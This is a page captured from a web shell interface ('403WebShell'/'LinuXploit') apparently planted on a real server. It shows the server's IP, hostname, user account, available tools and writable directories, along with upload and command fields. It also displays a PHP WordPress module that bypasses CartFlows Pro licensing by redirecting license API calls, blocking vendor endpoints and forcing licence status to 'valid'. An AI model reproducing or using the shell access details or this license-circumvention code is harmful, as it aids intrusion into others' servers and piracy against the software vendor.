$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules//cartflows-pro.php
<?php
/**
 * CartFlows Pro module.
 *
 * Redirects CartFlows Pro license API calls to GLS3.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * CartFlows Pro license module.
 */
class Cartflows_Pro extends AbstractModule {

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'cartflows-pro';
		$this->name        = 'CartFlows Pro';
		$this->description = 'Manages CartFlows Pro license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'cartflows-pro',
			'plugin_file' => 'cartflows-pro.php',
		);
		$this->target_id   = '3983388699';

		$this->blocked_domains = array(
			'my.cartflows.com/?wc-api=wc-am-api'       => self::wc_am_block(),
			'my.cartflows.com/?wc-api=am-software-api' => self::wc_am_block(),
		);
	}

	/**
	 * Initialize module — redirect API calls, set license data.
	 */
	public function init(): void {
		ApiRedirector::create( 'https://my.cartflows.com', HELLOPACK_GLS3_URL . '/cartflows-pro' );

		$this->set_license_data();

		// Inject licence_status into templates.cartflows.com REST API responses.
		add_filter( 'pre_http_request', array( $this, 'inject_licence_status' ), 10, 3 );
	}

	/**
	 * Intercept templates API responses and inject licence_status = valid.
	 *
	 * @param false|array|\WP_Error $preempt Whether to preempt the request.
	 * @param array                 $args    Request arguments.
	 * @param string                $url     Request URL.
	 * @return false|array|\WP_Error
	 */
	public function inject_licence_status( $preempt, array $args, string $url ) {
		$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
		if ( 'templates.cartflows.com' !== $host ) {
			return $preempt;
		}

		// Let the request go through normally.
		remove_filter( 'pre_http_request', array( $this, 'inject_licence_status' ), 10 );
		$response = wp_remote_request( $url, $args );
		add_filter( 'pre_http_request', array( $this, 'inject_licence_status' ), 10, 3 );

		if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
			return $response;
		}

		$body = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( is_array( $body ) ) {
			$body['licence_status'] = 'valid';
			$response['body']       = wp_json_encode( $body );
		}

		return $response;
	}

	/**
	 * Set WC AM Client license options.
	 */
	private function set_license_data(): void {
		$product_id = 'cartflows';

		$expected_api_key = array( 'api_key' => 'hellopack-managed' );
		$current_api_key  = get_option( 'wc_am_client_' . $product_id . '_api_key' );

		if ( $expected_api_key !== $current_api_key ) {
			update_option( 'wc_am_client_' . $product_id . '_api_key', $expected_api_key );
		}

		$expected_client = array( 'wc_am_client_' . $product_id . '_api_key' => 'hellopack-managed' );
		$current_client  = get_option( 'wc_am_client_' . $product_id );

		if ( $expected_client !== $current_client ) {
			update_option( 'wc_am_client_' . $product_id, $expected_client );
		}

		$options = array(
			'wc_am_client_' . $product_id . '_activated' => 'Activated',
			'_cfw_licensing__license_key'                => 'hellopack-managed',
			'_cfw_licensing__key_status'                 => 'valid',
			'cfw_license_activation_limit'               => 500,
			'cfw_license_price_id'                       => 9,
		);

		foreach ( $options as $key => $value ) {
			$current = get_option( $key );

			if ( $current !== $value ) {
				update_option( $key, $value );
			}
		}
	}

	/**
	 * Cleanup on disable — remove license data.
	 */
	public function cleanup(): void {
		$product_id = 'cartflows';

		hellopack_delete_option( 'wc_am_client_' . $product_id );
		hellopack_delete_option( 'wc_am_client_' . $product_id . '_api_key' );
		hellopack_delete_option( 'wc_am_client_' . $product_id . '_activated' );
		hellopack_delete_option( '_cfw_licensing__license_key' );
		hellopack_delete_option( '_cfw_licensing__key_status' );
		hellopack_delete_option( 'cfw_license_activation_limit' );
		hellopack_delete_option( 'cfw_license_price_id' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit